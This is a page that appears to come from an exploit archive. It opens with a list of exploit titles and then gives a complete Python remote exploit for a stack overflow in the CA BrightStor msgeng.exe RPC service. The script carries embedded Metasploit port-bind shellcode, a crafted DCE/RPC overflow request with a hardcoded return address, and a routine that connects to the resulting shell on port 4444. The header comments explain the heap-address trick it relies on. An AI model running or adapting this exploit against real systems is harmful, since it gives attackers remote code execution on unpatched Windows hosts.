477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
120 lines
6.8 KiB
Python
Executable file
120 lines
6.8 KiB
Python
Executable file
#!/usr/bin/python
|
|
# This one was listed in the SANS TOP 20 and I needed an exploit for analysis.
|
|
# I couldnt find a reliable exploit for my analysis and so came up with this.
|
|
# Remote exploit for the CA BrightStor msgeng.exe service stack overflow
|
|
# vulnerability as described in LS-20060330.pdf on lssec.com. The exploit was
|
|
# tested on windows 2000 SP4 in a VMware environment.
|
|
# Opens a shell on TCP port 4444.
|
|
#
|
|
# Though a stack overflow vulnerability caused due to strcpy, this vulnerability
|
|
# provides an interesting case. Unlike a traditional stack overflow where the
|
|
# user supplies the overflow data which immediately is copied into a stack
|
|
# based buffer, here the user supplied data is stored in the heap and the first
|
|
# DWORD of the RPC stub is used as the source address in the strcpy operation.
|
|
# This means we have to locate the address of our shellcode on the heap and then
|
|
# craft the first DWORD of the stub in such a way that when strcpy is called our
|
|
# buffer is the source. I had problems locating the shellcode in the heap,
|
|
# because each time I ran the exploit the shellcode would be in different places
|
|
# , obviously (0008xxxx or 0009xxxx or 000Axxxx). However when sending very
|
|
# large data of around 500000 bytes I saw that along with one of the likely
|
|
# locations it was always available at the address 011E0070 aswell. Atleast on
|
|
# the setup I have for analysis this address does not have anything useful if
|
|
# buffer sizes of 1k, 2k etc are used. Once we get the address straight, there
|
|
# after its a straight forward stack overflow that can overwrite EIP.
|
|
#
|
|
# This exploit binds shell to TCP port 4444 and connects to it
|
|
#
|
|
# Author shall bear no responsibility for any screw ups caused by using the code
|
|
# Winny M Thomas ;-)
|
|
|
|
from impacket.dcerpc import transport, dcerpc
|
|
from impacket import uuid
|
|
import struct
|
|
import time
|
|
import sys
|
|
import os
|
|
|
|
#alphanumeric portbind shellcode from metasploit. Binds shell to port 4444
|
|
shellcode = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
|
|
shellcode += "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
|
|
shellcode += "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
|
|
shellcode += "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
|
|
shellcode += "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"
|
|
shellcode += "\x4d\x34\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x46\x4b\x58"
|
|
shellcode += "\x4e\x56\x46\x42\x46\x42\x4b\x58\x45\x54\x4e\x53\x4b\x48\x4e\x57"
|
|
shellcode += "\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x44\x4a\x51\x4b\x38"
|
|
shellcode += "\x4f\x55\x42\x32\x41\x50\x4b\x4e\x49\x44\x4b\x58\x46\x33\x4b\x58"
|
|
shellcode += "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"
|
|
shellcode += "\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
|
|
shellcode += "\x46\x4f\x4b\x53\x46\x35\x46\x52\x4a\x42\x45\x57\x45\x4e\x4b\x48"
|
|
shellcode += "\x4f\x45\x46\x52\x41\x30\x4b\x4e\x48\x46\x4b\x38\x4e\x50\x4b\x54"
|
|
shellcode += "\x4b\x48\x4f\x45\x4e\x41\x41\x30\x4b\x4e\x43\x30\x4e\x32\x4b\x58"
|
|
shellcode += "\x49\x48\x4e\x36\x46\x42\x4e\x41\x41\x56\x43\x4c\x41\x53\x4b\x4d"
|
|
shellcode += "\x46\x56\x4b\x38\x43\x54\x42\x43\x4b\x58\x42\x44\x4e\x30\x4b\x38"
|
|
shellcode += "\x42\x47\x4e\x41\x4d\x4a\x4b\x58\x42\x44\x4a\x30\x50\x55\x4a\x56"
|
|
shellcode += "\x50\x48\x50\x34\x50\x30\x4e\x4e\x42\x45\x4f\x4f\x48\x4d\x48\x36"
|
|
shellcode += "\x43\x45\x48\x56\x4a\x46\x43\x53\x44\x33\x4a\x46\x47\x37\x43\x57"
|
|
shellcode += "\x44\x33\x4f\x35\x46\x35\x4f\x4f\x42\x4d\x4a\x36\x4b\x4c\x4d\x4e"
|
|
shellcode += "\x4e\x4f\x4b\x53\x42\x45\x4f\x4f\x48\x4d\x4f\x35\x49\x38\x45\x4e"
|
|
shellcode += "\x48\x46\x41\x58\x4d\x4e\x4a\x30\x44\x30\x45\x35\x4c\x36\x44\x30"
|
|
shellcode += "\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x50\x45\x4f\x4d\x4a\x47\x35"
|
|
shellcode += "\x4f\x4f\x48\x4d\x43\x35\x43\x45\x43\x55\x43\x45\x43\x35\x43\x34"
|
|
shellcode += "\x43\x55\x43\x34\x43\x45\x4f\x4f\x42\x4d\x48\x46\x4a\x36\x41\x41"
|
|
shellcode += "\x4e\x45\x48\x36\x43\x45\x49\x58\x41\x4e\x45\x39\x4a\x56\x46\x4a"
|
|
shellcode += "\x4c\x31\x42\x37\x47\x4c\x47\x45\x4f\x4f\x48\x4d\x4c\x46\x42\x31"
|
|
shellcode += "\x41\x55\x45\x55\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x42"
|
|
shellcode += "\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x55\x45\x35\x4f\x4f\x42\x4d"
|
|
shellcode += "\x4a\x36\x45\x4e\x49\x54\x48\x58\x49\x44\x47\x55\x4f\x4f\x48\x4d"
|
|
shellcode += "\x42\x55\x46\x35\x46\x35\x45\x35\x4f\x4f\x42\x4d\x43\x39\x4a\x56"
|
|
shellcode += "\x47\x4e\x49\x47\x48\x4c\x49\x37\x47\x45\x4f\x4f\x48\x4d\x45\x45"
|
|
shellcode += "\x4f\x4f\x42\x4d\x48\x46\x4c\x36\x46\x56\x48\x36\x4a\x46\x43\x46"
|
|
shellcode += "\x4d\x46\x49\x58\x45\x4e\x4c\x56\x42\x35\x49\x55\x49\x52\x4e\x4c"
|
|
shellcode += "\x49\x38\x47\x4e\x4c\x56\x46\x54\x49\x58\x44\x4e\x41\x53\x42\x4c"
|
|
shellcode += "\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x52\x50\x4f\x44\x34\x4e\x32"
|
|
shellcode += "\x43\x49\x4d\x48\x4c\x47\x4a\x33\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36"
|
|
shellcode += "\x44\x47\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x57\x46\x34\x4f\x4f"
|
|
shellcode += "\x48\x4d\x4b\x45\x47\x55\x44\x55\x41\x45\x41\x35\x41\x55\x4c\x36"
|
|
shellcode += "\x41\x30\x41\x35\x41\x55\x45\x45\x41\x45\x4f\x4f\x42\x4d\x4a\x56"
|
|
shellcode += "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x35\x4f\x4f\x48\x4d\x4c\x56"
|
|
shellcode += "\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f\x42\x4d\x4b\x38\x47\x55\x4e\x4f"
|
|
shellcode += "\x43\x48\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d"
|
|
shellcode += "\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x43\x55\x4f\x4f\x48\x4d"
|
|
shellcode += "\x4f\x4f\x42\x4d\x5a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
|
|
|
def DCEconnectAndExploit(target):
|
|
trans = transport.TCPTransport(target, 6503)
|
|
trans.connect()
|
|
dce = dcerpc.DCERPC_v5(trans)
|
|
dce.bind(uuid.uuidtup_to_bin(('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0')))
|
|
|
|
# The following DWORD gets converted to an address pointing into our
|
|
# buffer.
|
|
request = struct.pack('<L', 0x00003A7C)
|
|
request += "A" * 19608
|
|
request += "\x90\x90\xeb\x06"
|
|
# At the point of overflow EBX points to our shellcode
|
|
# Address of 'call ebx' from kernel32.dll SP4
|
|
request += struct.pack('<L', 0x7C577B03)
|
|
request += "\x90\x90\x90\x90"
|
|
request += shellcode
|
|
request += "b" * 480000
|
|
dce.call(45, request)
|
|
|
|
def ConnectRemoteShell(target):
|
|
connect = "/usr/bin/telnet " + target + " 4444"
|
|
os.system(connect)
|
|
|
|
if __name__ == '__main__':
|
|
try:
|
|
target = sys.argv[1]
|
|
except IndexError:
|
|
print 'Usage: %s <target ip>\n' % sys.argv[0]
|
|
sys.exit(-1)
|
|
|
|
DCEconnectAndExploit(target)
|
|
print 'Exploit sent to: %s' % target
|
|
print 'Connecting to %s:4444' % target
|
|
time.sleep(3)
|
|
ConnectRemoteShell(target)
|
|
|
|
# milw0rm.com [2007-03-16]
|